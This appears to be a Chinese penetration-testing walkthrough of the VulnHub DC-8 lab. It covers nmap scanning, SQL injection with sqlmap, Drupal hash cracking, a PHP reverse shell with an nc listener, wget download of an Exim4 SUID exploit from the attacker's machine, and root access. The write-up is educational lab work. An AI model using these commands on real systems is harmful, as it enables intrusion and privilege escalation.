VulnHub DC-8 靶机渗透测试笔记
靶机信息
- 靶机名称:DC-8
- 靶机来源:VulnHub
- 目标:获取 root 权限,找到最终 flag
- 难度:⭐⭐⭐⭐☆(中等偏难)
- 涉及技术:信息收集、SQL注入、hashcat 哈希破解、PHP 反弹 Shell、Exim4 SUID 提权
- https://www.cnblogs.com/wrold/p/19686607
一、信息收集
1.1 主机发现
1 | ifconfig |

1 | nmap -sn 192.168.168.0/24 |

1.2 端口与服务扫描
1 | nmap -A -p- 192.168.168.169 |

依旧输入 IP 跳域名,Kali 和本机都改一下 hosts:

1 | # Kali |
依旧老 CMS:

1.3 目录扫描
1 | dirsearch -u http://wordy -x 404,403 |
-x 404,403的作用是排除「页面不存在」和「禁止访问」的结果,让输出更干净,不然一堆无用信息。

找到后台登录界面:http://wordy/user

二、SQL 注入
2.1 发现注入点
找到一个有输入框的地方:

测了几个地方,这几个按钮的 URL 地址是:

1 | http://wordy/?nid=1 |
尝试在参数后加单引号测试:
1 | http://wordy/?nid=3' |
报错了!说明可能存在 SQL 注入:

判断注入的最简单方式: 加单引号
'看是否报错,报错基本就是有注入点。
2.2 sqlmap 跑注入
1 | sqlmap -u "http://wordy/?nid=3" --dbs |

跑出来了,继续找数据库里的账号密码:





三、哈希破解
在线的 cmd5 解密找不到,自己爆破一下试试:

先确认哈希类型,查询 hashcat 哈希表:
1 | hashcat -m 7900 passwords.txt rockyou.txt |
-m 7900对应的是 Drupal7 的哈希类型,不同 CMS 用的哈希算法不一样,要先确认类型再选对应的模式号。
破解出来了一个:
1 | john / turtle |

四、登录后台 GetShell
4.1 登录后台

4.2 发现 PHP 富文本功能
找到一个 PHP 富文本功能,可以直接写 PHP 代码:

先用 <?php phpinfo();?> 测试是否能执行:
需要先提交


能执行!说明可以写反弹 Shell。
4.3 写入反弹 Shell(也可以用msf的)
1 |
|
Kali 监听:
1 | nc -lvnp 5566 |

升级为交互式终端:
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
用户目录什么都没有,去找提权方向:

五、提权
5.1 SUID 文件查找
1 | find / -perm -u=s -type f 2>/dev/null |

发现 exim4,查看版本:
1 | exim4 --version |

ai给出

5.2 搜索 Exim4 漏洞
1 | searchsploit exim 4 |

查看脚本路径并复制到当前目录:
1 | searchsploit -p 46996#查看 |

5.3 传输 exp 到靶机
Kali 开启 HTTP 服务:
1 | python3 -m http.server 8888 |
靶机下载:
1 | wget http://192.168.168.128:8888/46996.sh |

当前目录无权限,切换到 /tmp:
1 | cd /tmp |

1 | chmod 777 46996.sh |

没有成功,查看源码让 AI 分析一下:
1 | cat 46996.sh |

再次尝试./46996.sh -m netcat
1 | ./46996.sh -m netcat |

分析发现: 这个 exp 获得的 root 权限是临时的,时间过了权限就变回去了。不过看 flag 已经足够了。反弹 Shell 试了不行,理论上写个 SUID 再提权应该可以,这里就不展开了。
最终取得 flag:

六、渗透流程总结
1 | 信息收集(nmap + dirsearch) |
七、涉及工具汇总
| 工具 | 用途 |
|---|---|
| nmap | 端口扫描、服务识别 |
| dirsearch | Web 目录扫描(-x 过滤无效状态码) |
| sqlmap | 自动化 SQL 注入 |
| hashcat | GPU 加速哈希爆破 |
| nc | 反弹 Shell 监听 |
| searchsploit | 本地漏洞库搜索 |
| python3 http.server | 临时 HTTP 文件传输 |
本文为 VulnHub DC-8 靶机学习笔记,所有操作均在本地搭建的靶场环境中完成,仅用于学习交流。
